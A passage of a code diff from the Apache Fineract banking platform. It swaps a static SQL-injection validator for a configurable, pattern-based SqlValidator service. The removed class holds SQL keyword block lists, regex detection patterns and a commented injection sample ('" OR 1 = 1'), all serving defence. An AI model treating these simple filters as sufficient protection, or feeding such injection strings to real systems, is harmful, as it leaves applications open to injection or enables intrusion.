||||
return this.firstname;
|
||||
}
|
||||
|
||||
public String getLastname() {
|
||||
return this.lastname;
|
||||
}
|
||||
|
||||
public String getStatus() {
|
||||
return this.status;
|
||||
}
|
||||
|
||||
public Integer getOffset() {
|
||||
return this.offset;
|
||||
}
|
||||
|
||||
public Integer getLimit() {
|
||||
return this.limit;
|
||||
}
|
||||
|
||||
public String getOrderBy() {
|
||||
return this.orderBy;
|
||||
}
|
||||
|
||||
public String getSortOrder() {
|
||||
return this.sortOrder;
|
||||
}
|
||||
|
||||
public boolean isStaffIdPassed() {
|
||||
public boolean hasStaffId() {
|
||||
return this.staffId != null && this.staffId != 0;
|
||||
}
|
||||
|
||||
public Long getStaffId() {
|
||||
return this.staffId;
|
||||
}
|
||||
|
||||
public String getAccountNo() {
|
||||
return this.accountNo;
|
||||
}
|
||||
|
||||
public boolean isLoanIdPassed() {
|
||||
public boolean hasLoanId() {
|
||||
return this.loanId != null && this.loanId != 0;
|
||||
}
|
||||
|
||||
public boolean isSavingsIdPassed() {
|
||||
public boolean hasSavingsId() {
|
||||
return this.savingsId != null && this.savingsId != 0;
|
||||
}
|
||||
|
||||
public Long getLoanId() {
|
||||
return this.loanId;
|
||||
}
|
||||
|
||||
public Long getSavingsId() {
|
||||
return this.savingsId;
|
||||
}
|
||||
|
||||
public Boolean isOrphansOnly() {
|
||||
if (this.orphansOnly != null) {
|
||||
return this.orphansOnly;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public Long getProvisioningEntryId() {
|
||||
return this.provisioningEntryId;
|
||||
}
|
||||
|
||||
public boolean isProvisioningEntryIdPassed() {
|
||||
public boolean hasProvisioningEntryId() {
|
||||
return this.provisioningEntryId != null && this.provisioningEntryId != 0;
|
||||
}
|
||||
|
||||
public Long getProductId() {
|
||||
return this.productId;
|
||||
}
|
||||
|
||||
public boolean isProductIdPassed() {
|
||||
public boolean hasProductId() {
|
||||
return this.productId != null && this.productId != 0;
|
||||
}
|
||||
|
||||
public Long getCategoryId() {
|
||||
return this.categoryId;
|
||||
}
|
||||
|
||||
public boolean isCategoryIdPassed() {
|
||||
public boolean hasCategoryId() {
|
||||
return this.categoryId != null && this.categoryId != 0;
|
||||
}
|
||||
|
||||
public boolean isSelfUser() {
|
||||
return this.isSelfUser;
|
||||
}
|
||||
|
||||
/**
|
||||
* creates an instance of the SearchParameters from a request for the report mailing job run history
|
||||
*
|
||||
* @return SearchParameters object
|
||||
**/
|
||||
public static SearchParameters fromReportMailingJobRunHistory(final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder) {
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
|
||||
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
|
||||
null, false);
|
||||
}
|
||||
|
||||
/**
|
||||
* creates an instance of the {@link SearchParameters} from a request for the report mailing job
|
||||
*
|
||||
* @return {@link SearchParameters} object
|
||||
*/
|
||||
public static SearchParameters fromReportMailingJob(final Integer offset, final Integer limit, final String orderBy,
|
||||
final String sortOrder) {
|
||||
final Integer maxLimitAllowed = getCheckedLimit(limit);
|
||||
|
||||
return new SearchParameters(null, null, null, null, null, null, offset, maxLimitAllowed, orderBy, sortOrder, null, null, null, null,
|
||||
null, false);
|
||||
}
|
||||
}
|
||||
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.exception;
|
||||
|
||||
import lombok.Getter;
|
||||
import org.apache.fineract.infrastructure.core.exception.AbstractPlatformDomainRuleException;
|
||||
|
||||
@Getter
|
||||
public class SqlValidationException extends AbstractPlatformDomainRuleException {
|
||||
|
||||
public SqlValidationException(final String message) {
|
||||
super("error.msg.sql.validation", "SQL validation error: " + message);
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.service;
|
||||
|
||||
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
|
||||
|
||||
public interface SqlValidator {
|
||||
|
||||
void validate(String statement) throws SqlValidationException;
|
||||
|
||||
void validate(String profile, String statement) throws SqlValidationException;
|
||||
}
|
||||
+8
-11
@@ -31,25 +31,22 @@ import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
import java.util.Set;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.jdbc.core.JdbcTemplate;
|
||||
import org.springframework.jdbc.datasource.DataSourceUtils;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Slf4j
|
||||
@RequiredArgsConstructor
|
||||
@Component
|
||||
public class ColumnValidator {
|
||||
|
||||
private static final Logger LOG = LoggerFactory.getLogger(ColumnValidator.class);
|
||||
private final SqlValidator sqlValidator;
|
||||
private final JdbcTemplate jdbcTemplate;
|
||||
|
||||
@Autowired
|
||||
public ColumnValidator(final JdbcTemplate jdbcTemplate) {
|
||||
this.jdbcTemplate = jdbcTemplate;
|
||||
}
|
||||
|
||||
@SuppressFBWarnings(value = "NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE", justification = "TODO: fix this!")
|
||||
private void validateColumn(Map<String, Set<String>> tableColumnMap) {
|
||||
Connection connection = null;
|
||||
@@ -87,7 +84,7 @@ public class ColumnValidator {
|
||||
columns.add(rs.getString("column_name"));
|
||||
}
|
||||
} catch (SQLException e) {
|
||||
LOG.error("Problem occurred in getTableColumns function", e);
|
||||
log.error("Problem occurred in getTableColumns function", e);
|
||||
}
|
||||
return columns;
|
||||
}
|
||||
@@ -97,7 +94,7 @@ public class ColumnValidator {
|
||||
if (StringUtils.isBlank(condition)) {
|
||||
continue;
|
||||
}
|
||||
SQLInjectionValidator.validateSQLInput(condition);
|
||||
sqlValidator.validate("column", condition);
|
||||
List<String> operator = new ArrayList<>(Arrays.asList("=", ">", "<", "> =", "< =", "! =", "!=", ">=", "<="));
|
||||
condition = condition.trim().replace("( ", "(").replace(" )", ")").toLowerCase();
|
||||
for (String op : operator) {
|
||||
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.utils;
|
||||
|
||||
import jakarta.annotation.PostConstruct;
|
||||
import java.util.Comparator;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.fineract.infrastructure.core.config.FineractProperties;
|
||||
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Slf4j
|
||||
@RequiredArgsConstructor
|
||||
@Component
|
||||
public class DefaultSqlValidator implements SqlValidator {
|
||||
|
||||
private final FineractProperties properties;
|
||||
|
||||
private Map<String, Pattern> patterns = new LinkedHashMap<>();
|
||||
private Map<String, FineractProperties.FineractSqlValidationProfileProperties> profiles = new LinkedHashMap<>();
|
||||
|
||||
private static final String MAIN_PROFILE = "main";
|
||||
|
||||
@PostConstruct
|
||||
public void init() {
|
||||
properties.getSqlValidation().getPatterns().forEach(pattern -> {
|
||||
log.info("Setup SQL validation pattern: {}", pattern.getName());
|
||||
|
||||
patterns.put(pattern.getName(), Pattern.compile(pattern.getPattern(), Pattern.DOTALL));
|
||||
});
|
||||
properties.getSqlValidation().getProfiles().forEach(profile -> {
|
||||
log.info("Setup SQL validation profile: {}", profile.getName());
|
||||
|
||||
profile.getPatternRefs()
|
||||
.sort(Comparator.comparing(FineractProperties.FineractSqlValidationPatternReferenceProperties::getOrder));
|
||||
|
||||
profiles.put(profile.getName(), profile);
|
||||
});
|
||||
|
||||
// consistency checks
|
||||
|
||||
if (!profiles.containsKey(MAIN_PROFILE)) {
|
||||
throw new IllegalStateException(
|
||||
"SQL validation profile 'main' missing. This validation profile is the default fallback and has to be provided. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
|
||||
}
|
||||
|
||||
// the default profile needs at least one pattern reference
|
||||
if (profiles.get(MAIN_PROFILE).getPatternRefs().isEmpty()) {
|
||||
throw new IllegalStateException(
|
||||
"SQL Validation pattern references in profile 'main' are empty. Please make sure there is at least one reference available. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
|
||||
}
|
||||
|
||||
// the default profile needs to be enabled
|
||||
profiles.get(MAIN_PROFILE).setEnabled(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void validate(final String statement) throws SqlValidationException {
|
||||
validate(MAIN_PROFILE, statement);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void validate(final String profile, final String statement) throws SqlValidationException {
|
||||
if (StringUtils.isBlank(statement)) {
|
||||
return;
|
||||
}
|
||||
|
||||
for (var ref : profiles.getOrDefault(profile, profiles.get(MAIN_PROFILE)).getPatternRefs()) {
|
||||
Matcher matcher = patterns.get(ref.getName()).matcher(statement);
|
||||
|
||||
if (matcher.matches()) {
|
||||
log.warn("SQL validation error: >> {} <<", statement);
|
||||
throw new SqlValidationException(String.format("invalid SQL statement (detected '%s' pattern)", ref.getName()));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-2
@@ -28,8 +28,8 @@ import java.util.regex.Pattern;
|
||||
* Utility to assemble the WHERE clause of an SQL query without the risk of SQL injection.
|
||||
*
|
||||
* <p>
|
||||
* When using this utility instead of manually assembling SQL queries, then {@link SQLInjectionValidator} should not be
|
||||
* required anymore. (Correctly using this means only ever passing completely fixed String literals to .)
|
||||
* When using this utility instead of manually assembling SQL queries, then {@link SqlValidator} should not be required
|
||||
* anymore. (Correctly using this means only ever passing completely fixed String literals to .)
|
||||
*
|
||||
* @author Michael Vorburger <mike@vorburger.ch>
|
||||
*/
|
||||
|
||||
+1
@@ -21,6 +21,7 @@ package org.apache.fineract.infrastructure.security.utils;
|
||||
import java.sql.SQLException;
|
||||
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
|
||||
|
||||
@Deprecated
|
||||
public class SQLInjectionException extends PlatformApiDataValidationException {
|
||||
|
||||
public SQLInjectionException() {
|
||||
|
||||
-166
@@ -1,166 +0,0 @@
|
||||
/**
|
||||
* Licensed to the Apache Software Foundation (ASF) under one
|
||||
* or more contributor license agreements. See the NOTICE file
|
||||
* distributed with this work for additional information
|
||||
* regarding copyright ownership. The ASF licenses this file
|
||||
* to you under the Apache License, Version 2.0 (the
|
||||
* "License"); you may not use this file except in compliance
|
||||
* with the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing,
|
||||
* software distributed under the License is distributed on an
|
||||
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||
* KIND, either express or implied. See the License for the
|
||||
* specific language governing permissions and limitations
|
||||
* under the License.
|
||||
*/
|
||||
package org.apache.fineract.infrastructure.security.utils;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.StringTokenizer;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
public final class SQLInjectionValidator {
|
||||
|
||||
private SQLInjectionValidator() {
|
||||
|
||||
}
|
||||
|
||||
private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
|
||||
|
||||
private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
|
||||
|
||||
private static final String[] COMMENTS = { "--", "({", "/*", "#" };
|
||||
|
||||
private static final String SQL_PATTERN = "[a-zA-Z_=,\\-:'!><.?\"`% ()0-9*\n\r]*";
|
||||
|
||||
// TODO: see here https://rails-sqli.org for and
|
||||
// https://larrysteinle.com/2011/02/20/use-regular-expressions-to-detect-sql-code-injection more examples
|
||||
private static final List<String> INJECTION_PATTERNS = List.of("(?i).*[or|and]\s*[\"']?-1[\"']?\\s*(-*).*",
|
||||
"(?i).*\\s+[\"']?(\\d+)[\"']?\\s*=\\s*[\"']?(\\1)[\"']?\\s*(-*).*");
|
||||
|
||||
public static void validateSQLInput(final String sqlSearch) {
|
||||
if (StringUtils.isBlank(sqlSearch)) {
|
||||
return;
|
||||
}
|
||||
|
||||
String lowerCaseSQL = sqlSearch.toLowerCase();
|
||||
List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
|
||||
validateSQLCommands(lowerCaseSQL, commandsList, String::contains);
|
||||
|
||||
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
|
||||
}
|
||||
|
||||
public static void validateAdhocQuery(final String sqlSearch) {
|
||||
if (StringUtils.isBlank(sqlSearch)) {
|
||||
return;
|
||||
}
|
||||
|
||||
String lowerCaseSQL = sqlSearch.toLowerCase().trim();
|
||||
validateSQLCommand(lowerCaseSQL, DDL_COMMANDS, String::startsWith);
|
||||
validateSQLCommand(lowerCaseSQL, COMMENTS, String::contains);
|
||||
|
||||
// Removing the space before and after '=' operator
|
||||
// String s = " \" OR 1 = 1"; For the cases like this
|
||||
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
|
||||
}
|
||||
|
||||
public static void validateDynamicQuery(final String sqlSearch) {
|
||||
if (StringUtils.isBlank(sqlSearch)) {
|
||||
return;
|
||||
}
|
||||
|
||||
String lowerCaseSQL = sqlSearch.toLowerCase();
|
||||
List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
|
||||
validateSQLCommands(lowerCaseSQL, commandsList, String::equals);
|
||||
|
||||
// Removing the space before and after '=' operator
|
||||
// String s = " \" OR 1 = 1"; For the cases like this
|
||||
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
|
||||
}
|
||||
|
||||
private static void patternMatchSqlInjection(String sqlSearch, String lowerCaseSQL) {
|
||||
// Removing the space before and after '=' operator
|
||||
// String s = " \" OR 1 = 1"; For the cases like this
|
||||
boolean injectionFound = false;
|
||||
|
||||
String inputSqlString = lowerCaseSQL.replaceAll("\\s*=\\s*", "=");
|
||||
|
||||
StringTokenizer tokenizer = new StringTokenizer(inputSqlString, " ");
|
||||
while (tokenizer.hasMoreTokens()) {
|
||||
String token = tokenizer.nextToken().trim();
|
||||
if (token.equals("'")) {
|
||||
if (tokenizer.hasMoreElements()) {
|
||||
String nextToken = tokenizer.nextToken().trim();
|
||||
if (!nextToken.equals("'")) {
|
||||
injectionFound = true;
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
injectionFound = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (token.equals("\"")) {
|
||||
if (tokenizer.hasMoreElements()) {
|
||||
String nextToken = tokenizer.nextToken().trim();
|
||||
if (!nextToken.equals("\"")) {
|
||||
injectionFound = true;
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
injectionFound = true;
|
||||
break;
|
||||
}
|
||||
} else if (token.indexOf('=') > 0) {
|
||||
StringTokenizer operatorToken = new StringTokenizer(token, "=");
|
||||
String operand = operatorToken.nextToken().trim();
|
||||
if (!operatorToken.hasMoreTokens()) {
|
||||
injectionFound = true;
|
||||
break;
|
||||
}
|
||||
String value = operatorToken.nextToken().trim();
|
||||
if (operand.equals(value)) {
|
||||
injectionFound = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (injectionFound) {
|
||||
throw new SQLInjectionException();
|
||||
}
|
||||
|
||||
for (String injectionPattern : INJECTION_PATTERNS) {
|
||||
Pattern pattern = Pattern.compile(injectionPattern);
|
||||
Matcher matcher = pattern.matcher(sqlSearch);
|
||||
if (matcher.matches()) {
|
||||
throw new SQLInjectionException();
|
||||
}
|
||||
}
|
||||
|
||||
Pattern pattern = Pattern.compile(SQL_PATTERN);
|
||||
Matcher matcher = pattern.matcher(sqlSearch);
|
||||
if (!matcher.matches()) {
|
||||
throw new SQLInjectionException();
|
||||
}
|
||||
}
|
||||
|
||||
private static void validateSQLCommand(String lowerCaseSQL, String[] commands, SQLCommandCondition condition) {
|
||||
for (String command : commands) {
|
||||
if (condition.checkCondition(lowerCaseSQL, command)) {
|
||||
throw new SQLInjectionException();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void validateSQLCommands(String lowerCaseSQL, List<String[]> commandsList, SQLCommandCondition condition) {
|
||||
for (String[] commands : commandsList) {
|
||||
validateSQLCommand(lowerCaseSQL, commands, condition);
|
||||
}
|
||||
}
|
||||
}
|
||||
+9
-10
@@ -29,19 +29,23 @@ import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.fineract.infrastructure.core.data.ApiParameterError;
|
||||
import org.apache.fineract.infrastructure.core.data.DataValidatorBuilder;
|
||||
import org.apache.fineract.infrastructure.core.exception.InvalidJsonException;
|
||||
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
|
||||
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
@Slf4j
|
||||
@RequiredArgsConstructor
|
||||
@Component
|
||||
public class AdHocQueryDataValidator {
|
||||
|
||||
private final SqlValidator sqlValidator;
|
||||
private final FromJsonHelper fromApiJsonHelper;
|
||||
private static final Set<String> AD_HOC_SEARCH_QUERY_REQUEST_DATA_PARAMETERS = new HashSet<>(Arrays.asList(
|
||||
AdHocQuerySearchConstants.entitiesParamName, AdHocQuerySearchConstants.loanStatusParamName,
|
||||
@@ -66,11 +70,6 @@ public class AdHocQueryDataValidator {
|
||||
AdHocQuerySearchConstants.arrearsLoanStatusOption, AdHocQuerySearchConstants.closedLoanStatusOption,
|
||||
AdHocQuerySearchConstants.writeoffLoanStatusOption };
|
||||
|
||||
@Autowired
|
||||
public AdHocQueryDataValidator(final FromJsonHelper fromApiJsonHelper) {
|
||||
this.fromApiJsonHelper = fromApiJsonHelper;
|
||||
}
|
||||
|
||||
public void validateAdHocQueryParameters(final String json) {
|
||||
|
||||
if (StringUtils.isBlank(json)) {
|
||||
@@ -229,7 +228,7 @@ public class AdHocQueryDataValidator {
|
||||
String loanDateOption = null;
|
||||
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.loanDateOptionParamName, element)) {
|
||||
loanDateOption = this.fromApiJsonHelper.extractStringNamed(AdHocQuerySearchConstants.loanDateOptionParamName, element);
|
||||
SQLInjectionValidator.validateSQLInput(loanDateOption);
|
||||
sqlValidator.validate(loanDateOption);
|
||||
}
|
||||
|
||||
LocalDate loanFromDate = null;
|
||||
@@ -252,7 +251,7 @@ public class AdHocQueryDataValidator {
|
||||
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element)) {
|
||||
outStandingAmountPercentageCondition = this.fromApiJsonHelper
|
||||
.extractStringNamed(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element);
|
||||
SQLInjectionValidator.validateSQLInput(outStandingAmountPercentageCondition);
|
||||
sqlValidator.validate(outStandingAmountPercentageCondition);
|
||||
}
|
||||
|
||||
BigDecimal minOutStandingAmountPercentage = null;
|
||||
@@ -283,7 +282,7 @@ public class AdHocQueryDataValidator {
|
||||
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element)) {
|
||||
outstandingAmountCondition = this.fromApiJsonHelper
|
||||
.extractStringNamed(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element);
|
||||
SQLInjectionValidator.validateSQLInput(outstandingAmountCondition);
|
||||
sqlValidator.validate(outstandingAmountCondition);
|
||||
}
|
||||
|
||||
BigDecimal minOutstandingAmount = null;
|
||||
|
||||
+32
-27
@@ -39,6 +39,8 @@ import java.util.Locale;
|
||||
import java.util.Map;
|
||||
import java.util.function.Predicate;
|
||||
import java.util.stream.Collectors;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.BooleanUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.fineract.infrastructure.core.data.ApiParameterError;
|
||||
@@ -50,30 +52,34 @@ import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecific
|
||||
import org.apache.fineract.infrastructure.core.service.database.JdbcJavaType;
|
||||
import org.apache.fineract.infrastructure.core.service.database.SqlOperator;
|
||||
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
|
||||
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
|
||||
import org.apache.fineract.infrastructure.security.service.SqlValidator;
|
||||
import org.apache.fineract.portfolio.search.data.ColumnFilterData;
|
||||
import org.apache.fineract.portfolio.search.data.FilterData;
|
||||
import org.springframework.jdbc.support.rowset.SqlRowSet;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
public final class SearchUtil {
|
||||
@Slf4j
|
||||
@RequiredArgsConstructor
|
||||
@Component
|
||||
public class SearchUtil {
|
||||
|
||||
public static final int DEFAULT_PAGE_SIZE = 50;
|
||||
|
||||
private static final JsonParserHelper helper = new JsonParserHelper();
|
||||
|
||||
private SearchUtil() {}
|
||||
private final SqlValidator sqlValidator;
|
||||
|
||||
@NotNull
|
||||
public static Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
|
||||
public Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
|
||||
return columnHeaders.stream().collect(Collectors.toMap(ResultsetColumnHeaderData::getColumnName, e -> e));
|
||||
}
|
||||
|
||||
public static ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
|
||||
public ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
|
||||
@NotNull Predicate<ResultsetColumnHeaderData> filter) {
|
||||
return columnHeaders.stream().filter(filter).findFirst().orElse(null);
|
||||
}
|
||||
|
||||
public static ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
|
||||
public ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
|
||||
@NotNull Predicate<ResultsetColumnHeaderData> filter) {
|
||||
ResultsetColumnHeaderData filtered = findFiltered(columnHeaders, filter);
|
||||
if (filtered == null) {
|
||||
@@ -82,8 +88,8 @@ public final class SearchUtil {
|
||||
return filtered;
|
||||
}
|
||||
|
||||
public static void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns,
|
||||
@NotNull List<String> resultColumns, @NotNull List<JsonObject> results) {
|
||||
public void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns, @NotNull List<String> resultColumns,
|
||||
@NotNull List<JsonObject> results) {
|
||||
JsonObject json = new JsonObject();
|
||||
for (int i = 0; i < selectColumns.size(); i++) {
|
||||
Object rowValue = rowSet.getObject(selectColumns.get(i));
|
||||
@@ -115,15 +121,15 @@ public final class SearchUtil {
|
||||
}
|
||||
|
||||
@NotNull
|
||||
public static List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
|
||||
public List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
|
||||
boolean allowEmpty) {
|
||||
List<ResultsetColumnHeaderData> columnHeaders = validateToJdbcColumns(columns, headersByName, allowEmpty);
|
||||
return columnHeaders.stream().map(e -> e == null ? null : e.getColumnName()).toList();
|
||||
}
|
||||
|
||||
@NotNull
|
||||
public static List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns,
|
||||
Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
|
||||
public List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
|
||||
boolean allowEmpty) {
|
||||
final List<ApiParameterError> errors = new ArrayList<>();
|
||||
|
||||
List<ResultsetColumnHeaderData> result = new ArrayList<>();
|
||||
@@ -140,13 +146,13 @@ public final class SearchUtil {
|
||||
return result;
|
||||
}
|
||||
|
||||
public static String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
|
||||
public String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
|
||||
ResultsetColumnHeaderData columnHeader = validateToJdbcColumn(column, headersByName, allowEmpty);
|
||||
return columnHeader == null ? null : columnHeader.getColumnName();
|
||||
}
|
||||
|
||||
public static ResultsetColumnHeaderData validateToJdbcColumn(String column,
|
||||
@NotNull Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
|
||||
public ResultsetColumnHeaderData validateToJdbcColumn(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
|
||||
boolean allowEmpty) {
|
||||
final List<ApiParameterError> errors = new ArrayList<>();
|
||||
ResultsetColumnHeaderData columnHeader = validateToJdbcColumnImpl(column, headersByName, errors, allowEmpty);
|
||||
if (!errors.isEmpty()) {
|
||||
@@ -155,8 +161,8 @@ public final class SearchUtil {
|
||||
return columnHeader;
|
||||
}
|
||||
|
||||
private static ResultsetColumnHeaderData validateToJdbcColumnImpl(String column,
|
||||
@NotNull Map<String, ResultsetColumnHeaderData> headersByName, @NotNull List<ApiParameterError> errors, boolean allowEmpty) {
|
||||
private ResultsetColumnHeaderData validateToJdbcColumnImpl(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
|
||||
@NotNull List<ApiParameterError> errors, boolean allowEmpty) {
|
||||
if (!allowEmpty && column == null) {
|
||||
errors.add(parameterErrorWithValue("error.msg.column.empty", "Column filter is empty", API_PARAM_COLUMN, null));
|
||||
}
|
||||
@@ -173,9 +179,9 @@ public final class SearchUtil {
|
||||
return columnHeader;
|
||||
}
|
||||
|
||||
public static boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where,
|
||||
@NotNull List<Object> params, String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat,
|
||||
String dateTimeFormat, Locale locale, boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
|
||||
public boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where, @NotNull List<Object> params,
|
||||
String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
|
||||
boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
|
||||
if (columnFilters == null) {
|
||||
return false;
|
||||
}
|
||||
@@ -192,7 +198,7 @@ public final class SearchUtil {
|
||||
return added;
|
||||
}
|
||||
|
||||
